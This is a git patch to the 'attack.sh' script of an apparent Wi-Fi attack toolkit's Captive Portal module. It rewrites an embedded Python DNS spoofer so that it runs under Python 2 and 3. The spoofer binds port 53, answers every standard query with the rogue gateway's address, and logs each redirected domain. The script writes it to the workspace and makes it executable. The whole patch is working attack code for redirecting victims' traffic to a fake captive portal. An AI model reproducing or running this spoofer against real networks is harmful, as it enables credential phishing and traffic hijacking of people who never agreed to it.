From d571cc835c6e0132d086859729a758fa483267dd Mon Sep 17 00:00:00 2001 From: Matias Barcenas Date: Mon, 30 Apr 2018 19:58:20 -0500 Subject: [PATCH] Rewrote mini DNS server to support python 2 & 3. --- attacks/Captive Portal/attack.sh | 100 +++++++++++++++++++++---------- 1 file changed, 69 insertions(+), 31 deletions(-) diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index f33b06c..ecdf7bc 100755 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -744,49 +744,87 @@ index-file.names = ( # Create a DNS service with python, forwarding all traffic to gateway. echo "\ -import socket +import sys, traceback, socket +# NOTICE: This DNS server works with python 2 and python 3 class DNSQuery: def __init__(self, data): - self.data=data - self.dominio='' + self.data = data + self.domain = '' - tipo = (ord(data[2]) >> 3) & 15 - if tipo == 0: - ini=12 - lon=ord(data[ini]) - while lon != 0: - self.dominio+=data[ini+1:ini+lon+1]+'.' - ini+=lon+1 - lon=ord(data[ini]) + queryType = (ord(data[2]) >> 3) & 15 + + # Only handle basic requests. + if queryType != 0: + print('Ignoring Query: Non-spoofed type.') + return + + domainStart = 13 # Skip length byte and start at domain. + domainLength = ord(data[domainStart - 1]) # Evaluate length byte. + + while domainLength != 0: + self.domain += data[domainStart : domainStart + domainLength] + '.' + + domainStart += domainLength + 1 # Skip the length byte & start at domain. + domainLength = ord(data[domainStart - 1]) # Evaluate length byte. + + def response(self, ipv4): + if not self.domain: return '' + + packet = '' + + packet += self.data[ :2] + '\x81\x80' + packet += self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' + packet += self.data[12:] + packet += '\xc0\x0c' + packet += '\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' + + # Convert string IPv4 quads to binary values (bytes). + packet += str.join('', map(lambda s: chr(int(s)), ipv4.split('.'))) - def respuesta(self, ip): - packet='' - if self.dominio: - packet+=self.data[:2] + \"\x81\x80\" - packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' - packet+=self.data[12:] - packet+='\xc0\x0c' - packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' - packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) return packet if __name__ == '__main__': - ip='$CaptivePortalGatewayAddress' - print 'pyminifakeDwebconfNS:: dom.query. 60 IN A %s' % ip + targetIPv4 = '$CaptivePortalGatewayAddress' - udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - udps.bind(('',53)) + print('Mini DNS Spoofer:: dom.query. 60 IN A %s' % targetIPv4) + + link = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + link.bind(('',53)) try: - while 1: - data, addr = udps.recvfrom(1024) - p=DNSQuery(data) - udps.sendto(p.respuesta(ip), addr) - print 'Request: %s -> %s' % (p.dominio, ip) + while True: + clientData, clientIPv4 = link.recvfrom(1024) + + queryData = clientData if sys.version_info < (3, 0) else clientData.decode('unicode_escape') + + query = DNSQuery(queryData) + + response = query.response(targetIPv4) + + if sys.version_info > (3, 0): + # Someone that knows more about python and how it does byte-handling, + # please fix the following shitfest and make it a bit more elegant. + # Do what? A raw conversion of the \"response\" string to bytes. + responseHex = '' + for xx in response: + responseHex += \"%x%x\" % ((ord(xx) >> 4) & 0b1111, ord(xx) & 0b1111) + + response = bytearray.fromhex(responseHex) + + link.sendto(response, clientIPv4) + + print('Request: %s -> %s' % (query.domain, targetIPv4)) + except KeyboardInterrupt: - print 'Finalizando' - udps.close()\ + print('INTERRUPT: Stopping.') + link.close() + + except Exception as error: + print('EXCEPTION: Stopping!') + print(error) + print(traceback.format_exc()) + link.close() " >"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py" chmod +x "$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py"